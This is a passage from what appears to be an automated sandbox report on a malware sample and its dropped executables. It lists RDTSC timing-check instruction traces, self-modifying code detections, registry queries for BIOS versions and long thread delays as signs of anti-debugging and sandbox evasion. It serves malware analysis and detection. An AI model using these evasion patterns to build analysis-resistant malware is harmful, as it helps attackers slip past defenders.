Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CE9E53 second address: CE9E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C163 second address: D1C1A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735528h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007FE6C4735516h 0x00000010 jmp 00007FE6C4735526h 0x00000015 jmp 00007FE6C473551Ah 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C1A9 second address: D1C1AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C1AE second address: D1C1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C585 second address: D1C58B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C58B second address: D1C590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C590 second address: D1C59A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C986 second address: D1C98D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1C98D second address: D1C99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 popad 0x00000008 jp 00007FE6C5005F9Ah 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1CD5B second address: D1CD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1CD5F second address: D1CD72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1CD72 second address: D1CD87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735521h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1CD87 second address: D1CD8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D10884 second address: D10888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1D685 second address: D1D68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D1D9ED second address: D1D9F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D228E2 second address: D22905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C5005F95h 0x00000009 popad 0x0000000a pushad 0x0000000b ja 00007FE6C5005F86h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D22A25 second address: D22A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D22A2A second address: D22A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007FE6C5005F9Fh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 jmp 00007FE6C5005F95h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D22A7D second address: D22ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jp 00007FE6C473551Ah 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FE6C4735526h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D22ABD second address: D22AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D22AC2 second address: D22AC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D2121E second address: D21226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D22CE0 second address: D22CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CEBA06 second address: CEBA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CEBA0C second address: CEBA2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FE6C4735516h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 jnp 00007FE6C4735518h 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF0A59 second address: CF0A63 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF0A63 second address: CF0A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF0A6A second address: CF0A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FE6C5005F92h 0x00000012 jnp 00007FE6C5005F86h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF0A91 second address: CF0AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007FE6C473551Ch 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D288AA second address: D288AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D288AE second address: D288D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735522h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C473551Ch 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D288D6 second address: D288DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28A21 second address: D28A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28CDA second address: D28CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE6C5005F86h 0x0000000a pop ecx 0x0000000b je 00007FE6C5005F8Eh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28CEF second address: D28CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28CF3 second address: D28CFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28CFD second address: D28D03 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28F97 second address: D28F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28F9D second address: D28FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jp 00007FE6C473551Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28FAC second address: D28FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jbe 00007FE6C5005F86h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D28FBD second address: D28FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D2AAF4 second address: D2AB0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D2AB0A second address: D2AB3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FE6C473551Ah 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e jmp 00007FE6C4735527h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D2AB3F second address: D2AB45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D2AB45 second address: D2AB76 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 xor di, 9D98h 0x0000000e adc di, 22A3h 0x00000013 call 00007FE6C4735519h 0x00000018 jmp 00007FE6C473551Eh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pushad 0x00000022 popad 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D2AB76 second address: D2AB8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: D2AB8B second address: D2AB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E73CB0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1095E2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Special instruction interceptor: First address: B7EDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Special instruction interceptor: First address: D22973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Special instruction interceptor: First address: D4AA77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Special instruction interceptor: First address: B7ED39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Special instruction interceptor: First address: DB9B4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDEDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D82973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DAAA77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDED39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E19B4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Special instruction interceptor: First address: 791990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Special instruction interceptor: First address: 93A53A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Special instruction interceptor: First address: 938FFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Special instruction interceptor: First address: 963599 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Special instruction interceptor: First address: 9C793A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Special instruction interceptor: First address: 8D3CB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Special instruction interceptor: First address: AF5E2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Special instruction interceptor: First address: A91990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Special instruction interceptor: First address: C3A53A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Special instruction interceptor: First address: C38FFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Special instruction interceptor: First address: C63599 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Special instruction interceptor: First address: CC793A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Special instruction interceptor: First address: 30DC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Special instruction interceptor: First address: 4B8EA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Special instruction interceptor: First address: 540478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Special instruction interceptor: First address: 310DAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Special instruction interceptor: First address: ACEDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Special instruction interceptor: First address: C72973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Special instruction interceptor: First address: C9AA77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Special instruction interceptor: First address: ACED39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Special instruction interceptor: First address: D09B4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Special instruction interceptor: First address: 831990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Special instruction interceptor: First address: 9DA53A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Special instruction interceptor: First address: 9D8FFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Special instruction interceptor: First address: A03599 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Special instruction interceptor: First address: A6793A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Special instruction interceptor: First address: BBDC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Special instruction interceptor: First address: D68EA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Special instruction interceptor: First address: DF0478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Special instruction interceptor: First address: BC0DAB instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Memory allocated: 5180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Memory allocated: 5350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Memory allocated: 51A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Memory allocated: 5370000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Memory allocated: 5510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Memory allocated: 7510000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

Code function: 4_2_05240C4C rdtsc

4_2_05240C4C

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1409	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1354	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1361	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1131	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1113	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1153	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1150	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 3976	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3976	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 516	Thread sleep count: 1409 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 516	Thread sleep time: -2819409s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6260	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5352	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3800	Thread sleep count: 1354 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3800	Thread sleep time: -2709354s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3048	Thread sleep count: 1361 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3048	Thread sleep time: -2723361s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6276	Thread sleep count: 1131 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6276	Thread sleep time: -2263131s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4872	Thread sleep count: 1113 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4872	Thread sleep time: -2227113s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4548	Thread sleep count: 313 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4548	Thread sleep time: -9390000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4392	Thread sleep count: 1153 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4392	Thread sleep time: -2307153s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6864	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6936	Thread sleep count: 1150 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6936	Thread sleep time: -2301150s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 736	Thread sleep time: -32016s >= -30000s	Jump to behavior
